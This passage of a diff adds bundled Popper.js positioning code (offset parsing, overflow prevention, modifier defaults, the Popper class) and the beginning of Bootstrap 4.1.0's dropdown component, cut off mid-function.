Math.floor; + var isVertical = ['top', 'bottom'].indexOf(placement) !== -1; + var side = isVertical ? 'right' : 'bottom'; + var opSide = isVertical ? 'left' : 'top'; + var measurement = isVertical ? 'width' : 'height'; + + if (popper[side] < floor(reference[opSide])) { + data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement]; + } + if (popper[opSide] > floor(reference[side])) { + data.offsets.popper[opSide] = floor(reference[side]); + } + + return data; + } + + /** + * Converts a string containing value + unit into a px value number + * @function + * @memberof {modifiers~offset} + * @private + * @argument {String} str - Value + unit string + * @argument {String} measurement - `height` or `width` + * @argument {Object} popperOffsets + * @argument {Object} referenceOffsets + * @returns {Number|String} + * Value in pixels, or original string if no values were extracted + */ + function toValue(str, measurement, popperOffsets, referenceOffsets) { + // separate value from unit + var split = str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/); + var value = +split[1]; + var unit = split[2]; + + // If it's not a number it's an operator, I guess + if (!value) { + return str; + } + + if (unit.indexOf('%') === 0) { + var element = void 0; + switch (unit) { + case '%p': + element = popperOffsets; + break; + case '%': + case '%r': + default: + element = referenceOffsets; + } + + var rect = getClientRect(element); + return rect[measurement] / 100 * value; + } else if (unit === 'vh' || unit === 'vw') { + // if is a vh or vw, we calculate the size based on the viewport + var size = void 0; + if (unit === 'vh') { + size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0); + } else { + size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0); + } + return size / 100 * value; + } else { + // if is an explicit pixel unit, we get rid of the unit and keep the value + // if is an implicit unit, it's px, and we return just the value + return value; + } + } + + /** + * Parse an `offset` string to extrapolate `x` and `y` numeric offsets. + * @function + * @memberof {modifiers~offset} + * @private + * @argument {String} offset + * @argument {Object} popperOffsets + * @argument {Object} referenceOffsets + * @argument {String} basePlacement + * @returns {Array} a two cells array with x and y offsets in numbers + */ + function parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) { + var offsets = [0, 0]; + + // Use height if placement is left or right and index is 0 otherwise use width + // in this way the first offset will use an axis and the second one + // will use the other one + var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1; + + // Split the offset string to obtain a list of values and operands + // The regex addresses values with the plus or minus sign in front (+10, -20, etc) + var fragments = offset.split(/(\+|\-)/).map(function (frag) { + return frag.trim(); + }); + + // Detect if the offset string contains a pair of values or a single one + // they could be separated by comma or space + var divider = fragments.indexOf(find(fragments, function (frag) { + return frag.search(/,|\s/) !== -1; + })); + + if (fragments[divider] && fragments[divider].indexOf(',') === -1) { + console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.'); + } + + // If divider is found, we divide the list of values and operands to divide + // them by ofset X and Y. + var splitRegex = /\s*,\s*|\s+/; + var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments]; + + // Convert the values with units to absolute pixels to allow our computations + ops = ops.map(function (op, index) { + // Most of the units rely on the orientation of the popper + var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width'; + var mergeWithPrevious = false; + return op + // This aggregates any `+` or `-` sign that aren't considered operators + // e.g.: 10 + +5 => [10, +, +5] + .reduce(function (a, b) { + if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) { + a[a.length - 1] = b; + mergeWithPrevious = true; + return a; + } else if (mergeWithPrevious) { + a[a.length - 1] += b; + mergeWithPrevious = false; + return a; + } else { + return a.concat(b); + } + }, []) + // Here we convert the string values into number values (in px) + .map(function (str) { + return toValue(str, measurement, popperOffsets, referenceOffsets); + }); + }); + + // Loop trough the offsets arrays and execute the operations + ops.forEach(function (op, index) { + op.forEach(function (frag, index2) { + if (isNumeric(frag)) { + offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1); + } + }); + }); + return offsets; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by update method + * @argument {Object} options - Modifiers configuration and options + * @argument {Number|String} options.offset=0 + * The offset value as described in the modifier description + * @returns {Object} The data object, properly modified + */ + function offset(data, _ref) { + var offset = _ref.offset; + var placement = data.placement, + _data$offsets = data.offsets, + popper = _data$offsets.popper, + reference = _data$offsets.reference; + + var basePlacement = placement.split('-')[0]; + + var offsets = void 0; + if (isNumeric(+offset)) { + offsets = [+offset, 0]; + } else { + offsets = parseOffset(offset, popper, reference, basePlacement); + } + + if (basePlacement === 'left') { + popper.top += offsets[0]; + popper.left -= offsets[1]; + } else if (basePlacement === 'right') { + popper.top += offsets[0]; + popper.left += offsets[1]; + } else if (basePlacement === 'top') { + popper.left += offsets[0]; + popper.top -= offsets[1]; + } else if (basePlacement === 'bottom') { + popper.left += offsets[0]; + popper.top += offsets[1]; + } + + data.popper = popper; + return data; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by `update` method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function preventOverflow(data, options) { + var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper); + + // If offsetParent is the reference element, we really want to + // go one step up and use the next offsetParent as reference to + // avoid to make this modifier completely useless and look like broken + if (data.instance.reference === boundariesElement) { + boundariesElement = getOffsetParent(boundariesElement); + } + + var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed); + options.boundaries = boundaries; + + var order = options.priority; + var popper = data.offsets.popper; + + var check = { + primary: function primary(placement) { + var value = popper[placement]; + if (popper[placement] < boundaries[placement] && !options.escapeWithReference) { + value = Math.max(popper[placement], boundaries[placement]); + } + return defineProperty({}, placement, value); + }, + secondary: function secondary(placement) { + var mainSide = placement === 'right' ? 'left' : 'top'; + var value = popper[mainSide]; + if (popper[placement] > boundaries[placement] && !options.escapeWithReference) { + value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height)); + } + return defineProperty({}, mainSide, value); + } + }; + + order.forEach(function (placement) { + var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary'; + popper = _extends({}, popper, check[side](placement)); + }); + + data.offsets.popper = popper; + + return data; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by `update` method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function shift(data) { + var placement = data.placement; + var basePlacement = placement.split('-')[0]; + var shiftvariation = placement.split('-')[1]; + + // if shift shiftvariation is specified, run the modifier + if (shiftvariation) { + var _data$offsets = data.offsets, + reference = _data$offsets.reference, + popper = _data$offsets.popper; + + var isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1; + var side = isVertical ? 'left' : 'top'; + var measurement = isVertical ? 'width' : 'height'; + + var shiftOffsets = { + start: defineProperty({}, side, reference[side]), + end: defineProperty({}, side, reference[side] + reference[measurement] - popper[measurement]) + }; + + data.offsets.popper = _extends({}, popper, shiftOffsets[shiftvariation]); + } + + return data; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by update method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function hide(data) { + if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) { + return data; + } + + var refRect = data.offsets.reference; + var bound = find(data.instance.modifiers, function (modifier) { + return modifier.name === 'preventOverflow'; + }).boundaries; + + if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) { + // Avoid unnecessary DOM access if visibility hasn't changed + if (data.hide === true) { + return data; + } + + data.hide = true; + data.attributes['x-out-of-boundaries'] = ''; + } else { + // Avoid unnecessary DOM access if visibility hasn't changed + if (data.hide === false) { + return data; + } + + data.hide = false; + data.attributes['x-out-of-boundaries'] = false; + } + + return data; + } + + /** + * @function + * @memberof Modifiers + * @argument {Object} data - The data object generated by `update` method + * @argument {Object} options - Modifiers configuration and options + * @returns {Object} The data object, properly modified + */ + function inner(data) { + var placement = data.placement; + var basePlacement = placement.split('-')[0]; + var _data$offsets = data.offsets, + popper = _data$offsets.popper, + reference = _data$offsets.reference; + + var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1; + + var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1; + + popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0); + + data.placement = getOppositePlacement(placement); + data.offsets.popper = getClientRect(popper); + + return data; + } + + /** + * Modifier function, each modifier can have a function of this type assigned + * to its `fn` property.<br /> + * These functions will be called on each update, this means that you must + * make sure they are performant enough to avoid performance bottlenecks. + * + * @function ModifierFn + * @argument {dataObject} data - The data object generated by `update` method + * @argument {Object} options - Modifiers configuration and options + * @returns {dataObject} The data object, properly modified + */ + + /** + * Modifiers are plugins used to alter the behavior of your poppers.<br /> + * Popper.js uses a set of 9 modifiers to provide all the basic functionalities + * needed by the library. + * + * Usually you don't want to override the `order`, `fn` and `onLoad` props. + * All the other properties are configurations that could be tweaked. + * @namespace modifiers + */ + var modifiers = { + /** + * Modifier used to shift the popper on the start or end of its reference + * element.<br /> + * It will read the variation of the `placement` property.<br /> + * It can be one either `-end` or `-start`. + * @memberof modifiers + * @inner + */ + shift: { + /** @prop {number} order=100 - Index used to define the order of execution */ + order: 100, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: shift + }, + + /** + * The `offset` modifier can shift your popper on both its axis. + * + * It accepts the following units: + * - `px` or unitless, interpreted as pixels + * - `%` or `%r`, percentage relative to the length of the reference element + * - `%p`, percentage relative to the length of the popper element + * - `vw`, CSS viewport width unit + * - `vh`, CSS viewport height unit + * + * For length is intended the main axis relative to the placement of the popper.<br /> + * This means that if the placement is `top` or `bottom`, the length will be the + * `width`. In case of `left` or `right`, it will be the height. + * + * You can provide a single value (as `Number` or `String`), or a pair of values + * as `String` divided by a comma or one (or more) white spaces.<br /> + * The latter is a deprecated method because it leads to confusion and will be + * removed in v2.<br /> + * Additionally, it accepts additions and subtractions between different units. + * Note that multiplications and divisions aren't supported. + * + * Valid examples are: + * ``` + * 10 + * '10%' + * '10, 10' + * '10%, 10' + * '10 + 10%' + * '10 - 5vh + 3%' + * '-10px + 5vh, 5px - 6%' + * ``` + * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap + * > with their reference element, unfortunately, you will have to disable the `flip` modifier. + * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373) + * + * @memberof modifiers + * @inner + */ + offset: { + /** @prop {number} order=200 - Index used to define the order of execution */ + order: 200, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: offset, + /** @prop {Number|String} offset=0 + * The offset value as described in the modifier description + */ + offset: 0 + }, + + /** + * Modifier used to prevent the popper from being positioned outside the boundary. + * + * An scenario exists where the reference itself is not within the boundaries.<br /> + * We can say it has "escaped the boundaries" — or just "escaped".<br /> + * In this case we need to decide whether the popper should either: + * + * - detach from the reference and remain "trapped" in the boundaries, or + * - if it should ignore the boundary and "escape with its reference" + * + * When `escapeWithReference` is set to`true` and reference is completely + * outside its boundaries, the popper will overflow (or completely leave) + * the boundaries in order to remain attached to the edge of the reference. + * + * @memberof modifiers + * @inner + */ + preventOverflow: { + /** @prop {number} order=300 - Index used to define the order of execution */ + order: 300, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: preventOverflow, + /** + * @prop {Array} [priority=['left','right','top','bottom']] + * Popper will try to prevent overflow following these priorities by default, + * then, it could overflow on the left and on top of the `boundariesElement` + */ + priority: ['left', 'right', 'top', 'bottom'], + /** + * @prop {number} padding=5 + * Amount of pixel used to define a minimum distance between the boundaries + * and the popper this makes sure the popper has always a little padding + * between the edges of its container + */ + padding: 5, + /** + * @prop {String|HTMLElement} boundariesElement='scrollParent' + * Boundaries used by the modifier, can be `scrollParent`, `window`, + * `viewport` or any DOM element. + */ + boundariesElement: 'scrollParent' + }, + + /** + * Modifier used to make sure the reference and its popper stay near eachothers + * without leaving any gap between the two. Expecially useful when the arrow is + * enabled and you want to assure it to point to its reference element. + * It cares only about the first axis, you can still have poppers with margin + * between the popper and its reference element. + * @memberof modifiers + * @inner + */ + keepTogether: { + /** @prop {number} order=400 - Index used to define the order of execution */ + order: 400, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: keepTogether + }, + + /** + * This modifier is used to move the `arrowElement` of the popper to make + * sure it is positioned between the reference element and its popper element. + * It will read the outer size of the `arrowElement` node to detect how many + * pixels of conjuction are needed. + * + * It has no effect if no `arrowElement` is provided. + * @memberof modifiers + * @inner + */ + arrow: { + /** @prop {number} order=500 - Index used to define the order of execution */ + order: 500, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: arrow, + /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */ + element: '[x-arrow]' + }, + + /** + * Modifier used to flip the popper's placement when it starts to overlap its + * reference element. + * + * Requires the `preventOverflow` modifier before it in order to work. + * + * **NOTE:** this modifier will interrupt the current update cycle and will + * restart it if it detects the need to flip the placement. + * @memberof modifiers + * @inner + */ + flip: { + /** @prop {number} order=600 - Index used to define the order of execution */ + order: 600, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: flip, + /** + * @prop {String|Array} behavior='flip' + * The behavior used to change the popper's placement. It can be one of + * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid + * placements (with optional variations). + */ + behavior: 'flip', + /** + * @prop {number} padding=5 + * The popper will flip if it hits the edges of the `boundariesElement` + */ + padding: 5, + /** + * @prop {String|HTMLElement} boundariesElement='viewport' + * The element which will define the boundaries of the popper position, + * the popper will never be placed outside of the defined boundaries + * (except if keepTogether is enabled) + */ + boundariesElement: 'viewport' + }, + + /** + * Modifier used to make the popper flow toward the inner of the reference element. + * By default, when this modifier is disabled, the popper will be placed outside + * the reference element. + * @memberof modifiers + * @inner + */ + inner: { + /** @prop {number} order=700 - Index used to define the order of execution */ + order: 700, + /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */ + enabled: false, + /** @prop {ModifierFn} */ + fn: inner + }, + + /** + * Modifier used to hide the popper when its reference element is outside of the + * popper boundaries. It will set a `x-out-of-boundaries` attribute which can + * be used to hide with a CSS selector the popper when its reference is + * out of boundaries. + * + * Requires the `preventOverflow` modifier before it in order to work. + * @memberof modifiers + * @inner + */ + hide: { + /** @prop {number} order=800 - Index used to define the order of execution */ + order: 800, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: hide + }, + + /** + * Computes the style that will be applied to the popper element to gets + * properly positioned. + * + * Note that this modifier will not touch the DOM, it just prepares the styles + * so that `applyStyle` modifier can apply it. This separation is useful + * in case you need to replace `applyStyle` with a custom implementation. + * + * This modifier has `850` as `order` value to maintain backward compatibility + * with previous versions of Popper.js. Expect the modifiers ordering method + * to change in future major versions of the library. + * + * @memberof modifiers + * @inner + */ + computeStyle: { + /** @prop {number} order=850 - Index used to define the order of execution */ + order: 850, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: computeStyle, + /** + * @prop {Boolean} gpuAcceleration=true + * If true, it uses the CSS 3d transformation to position the popper. + * Otherwise, it will use the `top` and `left` properties. + */ + gpuAcceleration: true, + /** + * @prop {string} [x='bottom'] + * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin. + * Change this if your popper should grow in a direction different from `bottom` + */ + x: 'bottom', + /** + * @prop {string} [x='left'] + * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin. + * Change this if your popper should grow in a direction different from `right` + */ + y: 'right' + }, + + /** + * Applies the computed styles to the popper element. + * + * All the DOM manipulations are limited to this modifier. This is useful in case + * you want to integrate Popper.js inside a framework or view library and you + * want to delegate all the DOM manipulations to it. + * + * Note that if you disable this modifier, you must make sure the popper element + * has its position set to `absolute` before Popper.js can do its work! + * + * Just disable this modifier and define you own to achieve the desired effect. + * + * @memberof modifiers + * @inner + */ + applyStyle: { + /** @prop {number} order=900 - Index used to define the order of execution */ + order: 900, + /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */ + enabled: true, + /** @prop {ModifierFn} */ + fn: applyStyle, + /** @prop {Function} */ + onLoad: applyStyleOnLoad, + /** + * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier + * @prop {Boolean} gpuAcceleration=true + * If true, it uses the CSS 3d transformation to position the popper. + * Otherwise, it will use the `top` and `left` properties. + */ + gpuAcceleration: undefined + } + }; + + /** + * The `dataObject` is an object containing all the informations used by Popper.js + * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks. + * @name dataObject + * @property {Object} data.instance The Popper.js instance + * @property {String} data.placement Placement applied to popper + * @property {String} data.originalPlacement Placement originally defined on init + * @property {Boolean} data.flipped True if popper has been flipped by flip modifier + * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper. + * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier + * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`) + * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`) + * @property {Object} data.boundaries Offsets of the popper boundaries + * @property {Object} data.offsets The measurements of popper, reference and arrow elements. + * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values + * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values + * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0 + */ + + /** + * Default options provided to Popper.js constructor.<br /> + * These can be overriden using the `options` argument of Popper.js.<br /> + * To override an option, simply pass as 3rd argument an object with the same + * structure of this object, example: + * ``` + * new Popper(ref, pop, { + * modifiers: { + * preventOverflow: { enabled: false } + * } + * }) + * ``` + * @type {Object} + * @static + * @memberof Popper + */ + var Defaults = { + /** + * Popper's placement + * @prop {Popper.placements} placement='bottom' + */ + placement: 'bottom', + + /** + * Set this to true if you want popper to position it self in 'fixed' mode + * @prop {Boolean} positionFixed=false + */ + positionFixed: false, + + /** + * Whether events (resize, scroll) are initially enabled + * @prop {Boolean} eventsEnabled=true + */ + eventsEnabled: true, + + /** + * Set to true if you want to automatically remove the popper when + * you call the `destroy` method. + * @prop {Boolean} removeOnDestroy=false + */ + removeOnDestroy: false, + + /** + * Callback called when the popper is created.<br /> + * By default, is set to no-op.<br /> + * Access Popper.js instance with `data.instance`. + * @prop {onCreate} + */ + onCreate: function onCreate() {}, + + /** + * Callback called when the popper is updated, this callback is not called + * on the initialization/creation of the popper, but only on subsequent + * updates.<br /> + * By default, is set to no-op.<br /> + * Access Popper.js instance with `data.instance`. + * @prop {onUpdate} + */ + onUpdate: function onUpdate() {}, + + /** + * List of modifiers used to modify the offsets before they are applied to the popper. + * They provide most of the functionalities of Popper.js + * @prop {modifiers} + */ + modifiers: modifiers + }; + + /** + * @callback onCreate + * @param {dataObject} data + */ + + /** + * @callback onUpdate + * @param {dataObject} data + */ + + // Utils + // Methods + var Popper = function () { + /** + * Create a new Popper.js instance + * @class Popper + * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper + * @param {HTMLElement} popper - The HTML element used as popper. + * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults) + * @return {Object} instance - The generated Popper.js instance + */ + function Popper(reference, popper) { + var _this = this; + + var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {}; + classCallCheck(this, Popper); + + this.scheduleUpdate = function () { + return requestAnimationFrame(_this.update); + }; + + // make update() debounced, so that it only runs at most once-per-tick + this.update = debounce(this.update.bind(this)); + + // with {} we create a new object with the options inside it + this.options = _extends({}, Popper.Defaults, options); + + // init state + this.state = { + isDestroyed: false, + isCreated: false, + scrollParents: [] + }; + + // get reference and popper elements (allow jQuery wrappers) + this.reference = reference && reference.jquery ? reference[0] : reference; + this.popper = popper && popper.jquery ? popper[0] : popper; + + // Deep merge modifiers options + this.options.modifiers = {}; + Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) { + _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {}); + }); + + // Refactoring modifiers' list (Object => Array) + this.modifiers = Object.keys(this.options.modifiers).map(function (name) { + return _extends({ + name: name + }, _this.options.modifiers[name]); + }) + // sort the modifiers by order + .sort(function (a, b) { + return a.order - b.order; + }); + + // modifiers have the ability to execute arbitrary code when Popper.js get inited + // such code is executed in the same order of its modifier + // they could add new properties to their options configuration + // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`! + this.modifiers.forEach(function (modifierOptions) { + if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) { + modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state); + } + }); + + // fire the first update to position the popper in the right place + this.update(); + + var eventsEnabled = this.options.eventsEnabled; + if (eventsEnabled) { + // setup event listeners, they will take care of update the position in specific situations + this.enableEventListeners(); + } + + this.state.eventsEnabled = eventsEnabled; + } + + // We can't use class properties because they don't get listed in the + // class prototype and break stuff like Sinon stubs + + + createClass(Popper, [{ + key: 'update', + value: function update$$1() { + return update.call(this); + } + }, { + key: 'destroy', + value: function destroy$$1() { + return destroy.call(this); + } + }, { + key: 'enableEventListeners', + value: function enableEventListeners$$1() { + return enableEventListeners.call(this); + } + }, { + key: 'disableEventListeners', + value: function disableEventListeners$$1() { + return disableEventListeners.call(this); + } + + /** + * Schedule an update, it will run on the next UI update available + * @method scheduleUpdate + * @memberof Popper + */ + + + /** + * Collection of utilities useful when writing custom modifiers. + * Starting from version 1.7, this method is available only if you + * include `popper-utils.js` before `popper.js`. + * + * **DEPRECATION**: This way to access PopperUtils is deprecated + * and will be removed in v2! Use the PopperUtils module directly instead. + * Due to the high instability of the methods contained in Utils, we can't + * guarantee them to follow semver. Use them at your own risk! + * @static + * @private + * @type {Object} + * @deprecated since version 1.8 + * @member Utils + * @memberof Popper + */ + + }]); + return Popper; + }(); + + /** + * The `referenceObject` is an object that provides an interface compatible with Popper.js + * and lets you use it as replacement of a real DOM node.<br /> + * You can use this method to position a popper relatively to a set of coordinates + * in case you don't have a DOM node to use as reference. + * + * ``` + * new Popper(referenceObject, popperNode); + * ``` + * + * NB: This feature isn't supported in Internet Explorer 10 + * @name referenceObject + * @property {Function} data.getBoundingClientRect + * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method. + * @property {number} data.clientWidth + * An ES6 getter that will return the width of the virtual reference element. + * @property {number} data.clientHeight + * An ES6 getter that will return the height of the virtual reference element. + */ + + + Popper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils; + Popper.placements = placements; + Popper.Defaults = Defaults; + + /** + * -------------------------------------------------------------------------- + * Bootstrap (v4.1.0): dropdown.js + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + * -------------------------------------------------------------------------- + */ + + var Dropdown = function ($$$1) { + /** + * ------------------------------------------------------------------------ + * Constants + * ------------------------------------------------------------------------ + */ + var NAME = 'dropdown'; + var VERSION = '4.1.0'; + var DATA_KEY = 'bs.dropdown'; + var EVENT_KEY = "." + DATA_KEY; + var DATA_API_KEY = '.data-api'; + var JQUERY_NO_CONFLICT = $$$1.fn[NAME]; + var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key + + var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key + + var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key + + var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key + + var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key + + var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse) + + var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + "|" + ARROW_DOWN_KEYCODE + "|" + ESCAPE_KEYCODE); + var Event = { + HIDE: "hide" + EVENT_KEY, + HIDDEN: "hidden" + EVENT_KEY, + SHOW: "show" + EVENT_KEY, + SHOWN: "shown" + EVENT_KEY, + CLICK: "click" + EVENT_KEY, + CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY, + KEYDOWN_DATA_API: "keydown" + EVENT_KEY + DATA_API_KEY, + KEYUP_DATA_API: "keyup" + EVENT_KEY + DATA_API_KEY + }; + var ClassName = { + DISABLED: 'disabled', + SHOW: 'show', + DROPUP: 'dropup', + DROPRIGHT: 'dropright', + DROPLEFT: 'dropleft', + MENURIGHT: 'dropdown-menu-right', + MENULEFT: 'dropdown-menu-left', + POSITION_STATIC: 'position-static' + }; + var Selector = { + DATA_TOGGLE: '[data-toggle="dropdown"]', + FORM_CHILD: '.dropdown form', + MENU: '.dropdown-menu', + NAVBAR_NAV: '.navbar-nav', + VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)' + }; + var AttachmentMap = { + TOP: 'top-start', + TOPEND: 'top-end', + BOTTOM: 'bottom-start', + BOTTOMEND: 'bottom-end', + RIGHT: 'right-start', + RIGHTEND: 'right-end', + LEFT: 'left-start', + LEFTEND: 'left-end' + }; + var Default = { + offset: 0, + flip: true, + boundary: 'scrollParent', + reference: 'toggle', + display: 'dynamic' + }; + var DefaultType = { + offset: '(number|string|function)', + flip: 'boolean', + boundary: '(string|element)', + reference: '(string|element)', + display: 'string' + /** + * ------------------------------------------------------------------------ + * Class Definition + * ------------------------------------------------------------------------ + */ + + }; + + var Dropdown = + /*#__PURE__*/ + function () { + function Dropdown(element, config) { + this._element = element; + this._popper = null; + this._config = this._getConfig(config); + this._menu = this._getMenuElement(); + this._inNavbar = this._detectNavbar(); + + this._addEventListeners(); + } // Getters + + + var _proto = Dropdown.prototype; + + // Public + _proto.toggle = function toggle() { + if (this._element.disabled || $$$1(this._element).hasClass(ClassName.DISABLED)) { + return; + } + + var parent = Dropdown._getParentFromElement(this._element); + + var isActive = $$$1(this._menu).hasClass(ClassName.SHOW); + + Dropdown._clearMenus(); + + if (isActive) { + return; + } + + var relatedTarget = { + relatedTarget: this._element + }; + var showEvent = $$$1.Event(Event.SHOW, relatedTarget); + $$$1(parent).trigger(showEvent); + + if (showEvent.isDefaultPrevented()) { + return; + } // Disable totally Popper.js for Dropdown in Navbar + + + if (!this._inNavbar) { + /** + * Check for Popper dependency + * Popper - https://popper.js.org + */ + if (typeof Popper === 'undefined') { + throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)'); + } + + var referenceElement = this._element; + + if (this._config.reference === 'parent') { + referenceElement = parent; + } else if (Util.isElement(this._config.reference)) { + referenceElement = this._config.reference; // Check if it's jQuery element + + if (typeof this._config.reference.jquery !== 'undefined') { + referenceElement = this._config.reference[0]; + } + } // If boundary is not `scrollParent`, then set position to `static` + // to allow the menu to "escape" the scroll parent's boundaries + // https://github.com/twbs/bootstrap/issues/24251 + + + if (this._config.boundary !== 'scrollParent') { + $$$1(parent).addClass(ClassName.POSITION_STATIC); + } + + this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig()); + } // If this is a touch-enabled device we add extra + // empty mouseover listeners to the body's immediate children; + // only needed because of broken event delegation on iOS + // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html + + + if ('ontouchstart' in document.documentElement && $$$1(parent).closest(Selector.NAVBAR_NAV).length === 0) { + $$$1(document.body).children().on('mouseover', null, $$$1.noop); + } + + this._element.focus(); + + this._element.setAttribute('aria-expanded', true); + + $$$1(this._menu).toggleClass(ClassName.SHOW); + $$$1(parent).toggleClass(ClassName.SHOW).trigger($$$1.Event(Event.SHOWN, relatedTarget)); + }; + + _proto.dispose = function dispose() { + $$$1.removeData(this._element, DATA_KEY); + $$$1(this._element).off(EVENT_KEY); + this._element = null; + this._menu = null; + + if (this._popper !== null) { + this._popper.destroy(); + + this._popper = null; + } + }; + + _proto.update = function update() { + this._inNavbar = this._detectNavbar(); + + if (this._popper !== null) { + this._popper.scheduleUpdate(); + } + }; // Private + + + _proto._addEventListeners = function _addEventListeners() { + var _this = this; + + $$$1(this._element).on(Event.CLICK, function (event) { + event.preventDefault(); + event.stopPropagation(); + + _this.toggle(); + }); + }; + + _proto._getConfig = function _getConfig(config) { + config = _objectSpread({}, this.constructor.Default, $$$1(this._element).data(), config); + Util.typeCheckConfig(NAME, config, this.constructor.DefaultType); + return config; + }; + + _proto._getMenuElement = function _getMenuElement() { + if (!this._menu) { + var parent = Dropdown._getParentFromElement(this._element); + + this._menu = $$$1(parent).find(Selector.MENU)[0]; + } + + return this._menu; + }; + + _proto._getPlacement = function _getPlacement() { + var $parentDropdown = $$$1(this._element).parent(); + var placement = AttachmentMap.BOTTOM; // Handle dropup + + if ($parentDropdown.hasClass(ClassName.DROPUP)) { + placement = AttachmentMap.TOP; + + if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) { + placement = AttachmentMap.TOPEND; + } + } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) { + placement = AttachmentMap.RIGHT; + } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) { + placement = AttachmentMap.LEFT; + } else if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) { + placement = AttachmentMap.BOTTOMEND; + } + + return placement; + }; + + _proto._detectNavbar = function _detectNavbar() { + return $$$1(this._element).closest('.navbar').length > 0; + }; + + _proto._getPopperConfig = function _getPopperConfig() { + var _this2 = this; + + var offsetConf = {}; + + if (typeof this._config.offset === 'function') { + offsetConf.fn 